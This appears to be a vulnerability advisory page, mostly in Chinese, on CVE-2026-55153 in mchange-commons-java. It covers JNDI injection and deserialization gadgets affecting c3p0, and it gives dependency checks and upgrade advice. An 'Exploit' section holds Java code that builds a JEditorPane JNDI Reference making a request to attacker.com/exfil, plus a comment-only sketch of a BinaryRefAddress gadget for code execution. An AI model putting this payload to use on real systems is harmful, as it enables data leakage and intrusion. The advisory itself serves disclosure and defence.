mchange-commons-java, JNDI Injection & Deserialization Gadgets, CVE-2026-55153 (High) -DC-Aug2026-1501

Listen to this Post

mchange-commons-java 是一个提供共享工具类的 Java 库,常用于 c3p0 连接池等项目。在 0.6.0 版本之前,其 JNDI ObjectFactory 实现(com.mchange.v2.naming.JavaBeanObjectFactory)会构造任意类的对象并初始化 “JavaBean” 风格的属性。这种初始化方式对某些类而言是不安全的:例如,将 Swing `JEditorPane` 的 `contentType` 属性设置为 text/html,并将其 `text` 属性设置为包含 `` 样式表的 HTML,就会触发对任意 URL 的 HTTP GET 请求,且该请求可能源自受信任的安全域内。
该问题因库中的 `ReferenceIndirector` 而加剧,恶意 JNDI Reference 对象可通过此机制被 smuggled 进来,并在应用程序读取 Java 序列化对象的任何地方进行解引用。在 0.5.0 版本之前,同一个 ObjectFactory 会将 `BinaryRefAddress` 元素解释为 Java 序列化对象,并在初始化时反序列化可能执行恶意行为的对象。虽然作者未发现 mchange-commons-java 自身存在可被滥用于执行代码的代码,但此机制可用于触发涉及其他库的已知“反序列化 gadget 链”。例如,在 Java 16 之前的 JVM 中,若应用程序 CLASSPATH 中包含 Apache 库 `commons-beanutils` 和 commons-collections,则可构造出在反序列化时执行任意命令的对象。
此外,mchange-commons-java 还包含一套独立于 JDK 的 JNDI 引用解析实现,支持 `remotefactoryClassLocation` 值,通过该值可下载并调用代码。如果攻击者能够诱导应用程序读取恶意构造的 `javax.naming.Reference` 或序列化对象,便可触发恶意代码的下载和执行。JDK 中的相关实现已通过默认为 `false` 的系统属性 `com.sun.jndi.ldap.object.trustURLCodebase` 默认禁用,但由于 mchange-commons-java 包含独立的 JNDI 解引用实现,使用该实现解析引用的库(如 c3p0)即使在 JDK 加固后仍可能被触发执行恶意代码。自 0.4.0 版本起,mchange-commons-java 的 JNDI 功能已通过默认配置为限制性值的参数进行管控。

DailyCVE Form:

Platform: mchange-commons-java
Version: <0.6.0
Vulnerability: JNDI注入与反序列化
Severity: High (CVSS 7.1)
date: 2026-07-01

Prediction: 2026-07-15

What Undercode Say:

检查当前 mchange-commons-java 版本
mvn dependency:tree | grep mchange-commons-java
检查 c3p0 版本(通常与 mchange-commons-java 一起使用)
mvn dependency:tree | grep c3p0
检测是否存在可利用的 gadget 库
mvn dependency:tree | grep commons-beanutils
mvn dependency:tree | grep commons-collections

Exploit: (Educational Purposes!)

// 通过 JNDI Reference 注入触发 JEditorPane HTTP GET
import javax.naming.Reference;
import javax.naming.StringRefAddr;
Reference ref = new Reference("javax.swing.JEditorPane",
"javax.swing.JEditorPane", null);
ref.add(new StringRefAddr("contentType", "text/html"));
ref.add(new StringRefAddr("text", "<html><link rel='stylesheet' href='http://attacker.com/exfil'></html>"));
// 应用程序执行 lookup(ref) 时将触发 HTTP 请求
// 通过 BinaryRefAddress 触发反序列化 gadget(Java < 16 + commons-collections)
// 构造包含恶意序列化对象的 BinaryRefAddress

Protection:

1. 升级到 mchange-commons-java v0.6.0 或更高版本

  1. 同时升级 c3p0 到 v0.14.0 或更高版本,以 transitively 引入已修复的 mchange-commons-java

3. 维护严格的序列化过滤器,可防止许多攻击(但无法防止仅需构造指定类并初始化简单 JavaBeans 属性的攻击,如上述 `JEditorPane` 示例)

  1. 运行在 Java 16 或更高版本的 JVM 上,因为最常见的已知攻击依赖于 JVM 内部的 XSLT 代码,而这些代码在 Java 16 及以上版本中已不可访问

5. 避免在应用程序 CLASSPATH 中使用 mchange-commons-java v0.4.0 之前的版本

Impact:

  • 攻击者可诱导应用程序对任意 URL 发起 HTTP GET 请求,可能从受信任的安全域内泄露敏感信息
  • 在存在 `commons-beanutils` 和 `commons-collections` 等库的情况下,攻击者可实现远程代码执行(RCE)
  • 通过 ReferenceIndirector,恶意 JNDI Reference 对象可在应用程序读取 Java 序列化对象的任何位置被 smuggled 进来并解引用
  • 使用 mchange-commons-java 独立 JNDI 实现的应用(如 c3p0)即使在 JDK 加固后仍可能被攻击
  • 该漏洞影响广泛,涉及 c3p0、Red Hat JBoss EAP、Red Hat Satellite 等多个产品

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top